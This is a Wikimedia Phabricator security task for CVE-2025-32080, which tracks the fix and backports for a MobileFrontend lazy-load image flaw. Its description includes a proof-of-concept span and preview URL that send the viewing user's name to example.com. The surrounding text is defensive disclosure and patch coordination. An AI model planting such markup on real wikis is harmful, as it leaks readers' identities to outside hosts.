Page MenuHomePhabricator

CVE-2025-32080: Cross-origin data leak in mobilefrontend via lazy load images
Closed, ResolvedPublic3 Estimated Story PointsSecurity

Description

Background

Generally MediaWiki uses the threat model where we do not want users to be able to embed content that loads external resources. This is to prevent privacy leaks from web bugs, potentially leaking IP addresses or current page, etc

MobileFrontend has a feature where spans with class lasy-image-placeholder (e.g. <span class="lazy-image-placeholder" data-width="100" data-height="100" data-src="https://example.com"> </span> ) get replaced with image tags based on data attributes. User's can construct these allowing them to bypass some sanitization (enough to make an arbitrary GET request, not enough for XSS).

An example demonstrating this: https://m.mediawiki.org/w/index.php?title=Nonexistent-test-page48frin&action=edit&preloadtitle=%3Cspan+class%3D%22lazy-image-placeholder%22+data-width%3D%22100%22+data-height%3D%22100%22+data-src%3D%22https%3A%2F%2Fexample.com%2F%3Fuser%3D{{subst%3AREVISIONUSER}}%22%3E+%3C%2Fspan%3E&preview=yes&section=new

Which when viewed will send the current user's name to example.com.

Longer term fix would be CSP

See also the slightly related task T147995

User story

As an editor I want to view Wikipedia safely

Requirements

  • Using data-mw-src (and so on for the other attributes) instead of data-src, as the mediawiki sanitizer forbids using attributes starting with data-mw.
  • For caching purposes, the frontend must support both initially to avoid image display breaking.

BDD

Feature: Prevent cross-origin data leaks via MobileFrontend lazy load images  

  Scenario: No references to data-src or data-srcset in page source  
    Given a user visits the mobile version of an article  
    When they view the page source  
    Then there should be no references to data-src or data-srcset  

  Scenario: No broken images in editor preview for user-inserted lazy image placeholders  
    Given a user views a preview of an article containing a lazy-image-placeholder span  
    When the editor loads the preview  
    Then no broken image should display above the editor field

Test Steps

Test Case 1: Verify no references to data-src or data-srcset in page source

  1. Visit http://en.m.wikipedia.org/wiki/Rabbits.
  2. Open the developer tools and view the page source.
  3. AC1: Confirm that there are no references to data-src or data-srcset in the source code.

Test Case 2: Verify no broken images in the editor preview

  1. Visit this test page.
  2. Observe the editor field in preview mode.
  3. AC2: Confirm that no broken image appears above the editor field.

QA Results - Prod

ACStatusDetails
1T366402#10585799
2T366402#10585799

Design

  • Add mockups and design requirements

Acceptance criteria

  • Add acceptance criteria

Communication criteria - does this need an announcement or discussion?

  • Add communication criteria

Rollback plan

  • What is the rollback plan in production for this task if something goes wrong?

This task was created by Version 1.3.0 of the Web team task template using phabulous

Event Timeline

There are a very large number of changes, so older changes are hidden. Show Older Changes

I believe deploys would look like the following (but we'd need to do some additional testing). Since MobileFrontend has a build script, these will likely need to be rebased against the deployment branch and rebuilt using npm run build.

Patch 1:
{F58191608}

Patch 2:
{F58195512}

Jdlrobson set the point value for this task to 3.Jan 14 2025, 5:38 PM
Jdlrobson moved this task from Q3 to Sprint Backlog on the Web-Team board.

@Jdlrobson-WMF - CR+1 for the first patch, I still can't see the second. Re: build step, how is that normally handled in gerrit? Is a second build change set created and merged? Is there some deployment step? We should likely try to mirror that as much as possible with these protected patches.

Re: build step, how is that normally handled in gerrit? Is a second build change set created and merged?

You have to run npm run build locally and then commit the changes to master.

So either

  1. We need to coordinate when we are ready to deploy and recompile the patch against whatever the current deploy branch(es) are so it applies cleanly.
  2. We can adjust the patch so it doesn't contain the built assets, but the deployer will need to run npm run build and apply the changes after applying it and prior to deploying.

It's going to be a bit of a pain, particularly since we'll need to backport this for 2 deploy cycles.

If this still doesn't clearly explain the problem, feel free to put 15 minutes on my calendar tomorrow to discuss.

Hmm, this might honestly be a good candidate to just push through gerrit with expedited deployments. The build step doesn't concern me much - we could just create two separate patches and deploy them. But it sounds like this codebase is somewhat volatile and actively developed. And we likely don't want to be rebasing and dealing with merge conflicts several times per week while the patches are embargoed. Let me know if this is a legitimate concern.

Thinking about this some more we could mitigate this somewhat by:

  • Adjusting the logic so the fallback is limited only to article views (e.g. not in the editor interface)
  • Merging on Gerrit per your suggesting
  • Backporting the same day to minimize time that it can be discovered and abused.

Thinking about this some more we could mitigate this somewhat by:

  • Adjusting the logic so the fallback is limited only to article views (e.g. not in the editor interface)
  • Merging on Gerrit per your suggesting
  • Backporting the same day to minimize time that it can be discovered and abused.

Yep, sounds good. Let us know if you'd like the Security-Team to assist with the prod deploys or if you'll just schedule them right before a backport window. Thanks.

Web engineer who picks this up should take care not to include relevant details in the patch note, but may link to this ticket as it's protected

Patches can be submitted via gerrit, but should be backported to speed up the process of waiting out the cache clear

I'm attaching my patch here. I added the data-mw- prefix to the src attribute but am not sure if it would be beneficial to also add it to any of the others?

This LGTM. @Mstyles we can go ahead and deploy this one. Let's coordinate when ready. When making this patch we'll need to run npm run build before committing it (given Binary files a/resources/dist/mobile.common.js.map.json and b/resources/dist/mobile.common.js.map.json differ). Ping me in Slack if you need help with that (and ultimately getting this deployed)

If too much hassle we can push to Gerrit at time of deploy.

Change #1119223 had a related patch set uploaded (by LorenMora; author: LorenMora):

[mediawiki/extensions/MobileFrontend@master] Lazy Load Images

https://gerrit.wikimedia.org/r/1119223

Change #1119233 had a related patch set uploaded (by Stoyofuku-wmf; author: LorenMora):

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.15] Lazy Load Images

https://gerrit.wikimedia.org/r/1119233

Change #1119234 had a related patch set uploaded (by Stoyofuku-wmf; author: LorenMora):

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.16] Lazy Load Images

https://gerrit.wikimedia.org/r/1119234

Change #1119233 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.15] Lazy Load Images

https://gerrit.wikimedia.org/r/1119233

Change #1119234 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.16] Lazy Load Images

https://gerrit.wikimedia.org/r/1119234

Change #1119223 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@master] Lazy Load Images

https://gerrit.wikimedia.org/r/1119223

@Mstyles @sbassett heads up, we merged the patch and backported it to wmf.15 and wmf.16 just now

Is there any additional cleanup or verification we should be doing?

Jdforrester-WMF subscribed.

Will want back-porting to REL1_43 etc. for third party users and announcing in the next Security extension release round-up, or an out-of-sequence one now it's public?

Is there any additional cleanup or verification we should be doing?

You should be fine, I think.

Will want back-porting to REL1_43 etc. for third party users and announcing in the next Security extension release round-up, or an out-of-sequence one now it's public?

Yes, given these were for ext:MobileFrontend (not tarball-bundled), they can now be backported to any desired release branches, publicly. We can also make this task public if folks would prefer, although gerritbot is already subscribed. We'll plan to re-announce this issue within the next supplemental release (T382326), due out at the end of this quarter.

We are only 50% through the fix so please don't make public just yet. The issue is still present in production as discussed due to some challenges with cached HTML. I am looking into those today and will give you a timeline shortly.

We are only 50% through the fix so please don't make public just yet. The issue is still present in production as discussed due to some challenges with cached HTML. I am looking into those today and will give you a timeline shortly.

Ah, ok, yes, once those issues are resolved it should be fine to open this up.

@LMora-WMF will upload a patch to this task and we'll look to deploy it as soon as we can. Typically we could look to deploy this on Wednesday 26th given our caches typically get reset every 2 weeks (and the security fix is not backwards compatible with HTML served from cache) but given security implications, we might fast-track this on Wednesday 19th at earliest (after assessment on 18th by myself).

This comment was removed by LMora-WMF.

I'll review patch today and leave an update around when it can be backported.

Okay I reviewed the patch in T366402#10553442 and it looks good to deploy!
English Wikipedia is currently serving cached pages to 4% of page views.
Based on this number, and to avoid a Thursday deploy, we suggest backporting on Monday 24th. This will make sure it runs out on next week's train. I've added a calendar invite for @SToyofuku-WMF @LMora-WMF to also backport it to 1.44.0-wmf.17

On Monday we'll push the change to Gerrit 1hr before deployment.

Moving this to sign off (but leaving open with that in mind)

Okay I reviewed the patch in T366402#10553442 and it looks good to deploy!

CR+1 as well, though I'm not intimately familiar with the code.

On Monday we'll push the change to Gerrit 1hr before deployment.

Sounds great, thanks.

Change #1122244 had a related patch set uploaded (by LorenMora; author: LorenMora):

[mediawiki/extensions/MobileFrontend@master] Lazy Load Images Part 2

https://gerrit.wikimedia.org/r/1122244

Change #1122245 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.17] Lazy Load Images Part 2

https://gerrit.wikimedia.org/r/1122245

Change #1122245 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@wmf/1.44.0-wmf.17] Lazy Load Images Part 2

https://gerrit.wikimedia.org/r/1122245

Change #1122244 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@master] Lazy Load Images Part 2

https://gerrit.wikimedia.org/r/1122244

This is now patched in production and should be riding the train this week.

@sbassett did you want to verify the fix and make the task public?

How many older versions do we need to backport this to? I'd suggest squashing the two patches together for a backport and am happy to help with that as I imagine it might be a little painful.

@sbassett did you want to verify the fix and make the task public?

I'm no longer seeing any external requests made via the m.mediawiki.org example within the task description, so that looks good to me. I'll make this task public and the issue will be re-announced within the next supplemental security release, sometime near the end of March 2025.

How many older versions do we need to backport this to? I'd suggest squashing the two patches together for a backport and am happy to help with that as I imagine it might be a little painful.

Typically we'd like to backport to currently supported release branches. So, 1.43, 1.42 and 1.39, right now. Often times those are easy to just do via gerrit's UI. But if they are non-trivial, we typically leave the decision to backport to the developers/maintainers of the component or system.

sbassett changed the visibility from "Custom Policy" to "Public (No Login Required)".Feb 25 2025, 3:53 PM
sbassett changed the edit policy from "Custom Policy" to "All Users".

I've made the patches but given the build step in MobileFrontend none of them are identical so we'd need to test all of these manually before merging:
https://gerrit.wikimedia.org/r/q/topic:%22T366402%22

I've made the patches but given the build step in MobileFrontend none of them are identical so we'd need to test all of these manually before merging:
https://gerrit.wikimedia.org/r/q/topic:%22T366402%22

Ok, I'd assume CI could handle testing the critical functionality for these and/or any potential breakage in older releases? Or is that a bad thing to assume?

I'm going to use patchdemo. to quickly manually verify. It looks like we have some CI failures that might block merges in older branches. @Jdforrester-WMF what would you recommend we do on https://gerrit.wikimedia.org/r/c/mediawiki/extensions/MobileFrontend/+/1122621 ?

Change #1122618 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@REL1_42] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122618

Change #1122621 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@REL1_39] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122621

Change #1122620 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@REL1_40] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122620

Change #1122617 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@REL1_43] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122617

Change #1122619 had a related patch set uploaded (by Jdlrobson; author: LorenMora):

[mediawiki/extensions/MobileFrontend@REL1_41] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122619

I'm going to use patchdemo. to quickly manually verify. It looks like we have some CI failures that might block merges in older branches. @Jdforrester-WMF what would you recommend we do on https://gerrit.wikimedia.org/r/c/mediawiki/extensions/MobileFrontend/+/1122621 ?

Probably easiest to drop storybook and all the other babel-based tools for that branch, as I doubt you'll want to try to backport all the fixes in the past year?

Ah I see.. these are all storybook issues? :-(

Can I force merge or is that frowned upon?

If not, I'd need more time to refamiliarise myself with the storybook code and which files need removing.

Change #1122620 merged by Jdlrobson:

[mediawiki/extensions/MobileFrontend@REL1_40] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122620

Change #1122619 merged by Jdlrobson:

[mediawiki/extensions/MobileFrontend@REL1_41] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122619

@Jdforrester-WMF the storybook issue only impacts 1.39

It looks like many of these issues relate to rules around linting changing between versions and the Node versioning check (361946a13d). Is there any reason I shouldn't be disabling linters on old versions of MediaWiki or the Node check? They don't seem useful if we work under the assumption all changes being cherry picked have been merged to master first....? Am I missing something?

The error is:
61:24 error Unexpected space(s) after '${' template-curly-spacing

Proposed fix:
https://gerrit.wikimedia.org/r/c/mediawiki/extensions/MobileFrontend/+/1122707

Change #1122621 merged by Jdlrobson:

[mediawiki/extensions/MobileFrontend@REL1_39] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122621

Change #1122617 merged by Jdlrobson:

[mediawiki/extensions/MobileFrontend@REL1_43] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122617

Change #1122618 merged by Jdlrobson:

[mediawiki/extensions/MobileFrontend@REL1_42] [Security] Lazy Load Images

https://gerrit.wikimedia.org/r/1122618

Status: ✅ PASS
Environment: enwiki, mediawiki
OS: macOS
Browser: Chrome
Device: MS

Test Case 1: Verify no references to data-src or data-srcset in page source

  1. Visit http://en.m.wikipedia.org/wiki/Rabbits.
  2. Open the developer tools and view the page source.
  3. ✅AC1: Confirm that there are no references to data-src or data-srcset in the source code.

screenshot 54.png (1×1 px, 670 KB)

screenshot 53.png (1×1 px, 670 KB)

Test Case 2: Verify no broken images in the editor preview

  1. Visit this test page.
  2. Observe the editor field in preview mode.
  3. ✅AC2: Confirm that no broken image appears above the editor field.

m.mediawiki.org_w_index.php_title=Nonexistent-test-page48frin&action=submit(iPad Pro).png (3×2 px, 699 KB)

Change #1123392 had a related patch set uploaded (by Jdlrobson; author: Jdlrobson):

[mediawiki/extensions/MobileFrontend@REL1_42] Fix CI issues on MobileFrontend REL1_42

https://gerrit.wikimedia.org/r/1123392

Change #1123392 merged by jenkins-bot:

[mediawiki/extensions/MobileFrontend@REL1_42] Fix CI issues on MobileFrontend REL1_42

https://gerrit.wikimedia.org/r/1123392

Mstyles renamed this task from Cross-origin data leak in mobilefrontend via lazy load images to CVE-2025-32080: Cross-origin data leak in mobilefrontend via lazy load images.Apr 11 2025, 5:03 PM
Mstyles closed this task as Resolved.